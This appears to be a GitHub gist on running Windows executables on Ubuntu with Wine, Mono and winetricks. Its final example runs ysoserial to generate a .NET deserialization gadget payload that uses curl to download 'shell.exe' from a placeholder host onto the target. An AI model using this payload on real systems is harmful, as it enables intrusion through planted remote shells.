Created
January 20, 2024 08:21
-
-
Save nghialuffy/ce4453cf804656a6374eff6ae6bd248b to your computer and use it in GitHub Desktop.
Run exe file in Ubuntu
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
``` | |
sudo apt install mono-complete wine winetricks -y | |
winetricks dotnet48 | |
``` | |
- Go to https://dl.winehq.org/wine/wine-mono/8.1.0/ | |
- Download `wine-mono-8.1.0-x86.msi` | |
``` | |
wine64 uninstall | |
``` | |
- Click `Install` button and select file `wine-mono-8.1.0-x86.msi` | |
- Wait and click Ok | |
- Run file exe with cmd `wine abc.exe` | |
Example: | |
``` | |
wine ysoserial.exe -f JavaScriptSerializer -o base64 -g ObjectDataProvider -c "cmd /c curl x.x.x.x/shell.exe -o C:\ProgramData\shell.exe" | |
``` | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment